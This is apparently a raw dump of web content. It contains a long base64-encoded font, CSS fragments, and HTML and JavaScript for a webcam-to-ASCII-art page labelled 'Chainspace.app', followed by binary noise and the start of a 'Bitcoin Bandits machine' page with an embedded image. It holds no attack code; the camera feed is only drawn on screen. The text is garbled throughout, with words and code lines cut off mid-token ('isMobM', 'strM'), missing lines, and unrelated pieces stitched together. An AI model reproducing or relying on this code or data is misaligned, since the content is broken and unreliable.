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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #757575;
    font-size: 12px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#8F8F8F", "#7ECFD3", "#A3DDE1", "#C9ECEE", "#757575", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 60M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = strM
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
onst res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.clM
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
           gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (eMD
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
I:7052+?<4<91$#?>;330*,*%*(#)'"
pBSeAxY9ES7@K3yU2iN2nO/lM/8;.58+O=)H9)U>(A#&S<%
`;sV6CN5^H2uS/rP.dG,M-,]C+aF*5.$&$$A1#QA"=/
d8{^8DA8IA2d90TD/jK.B;,X/+D++5)(aD'" 'WE%
`1;H0;@/?8*24(aJ'-$'4
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
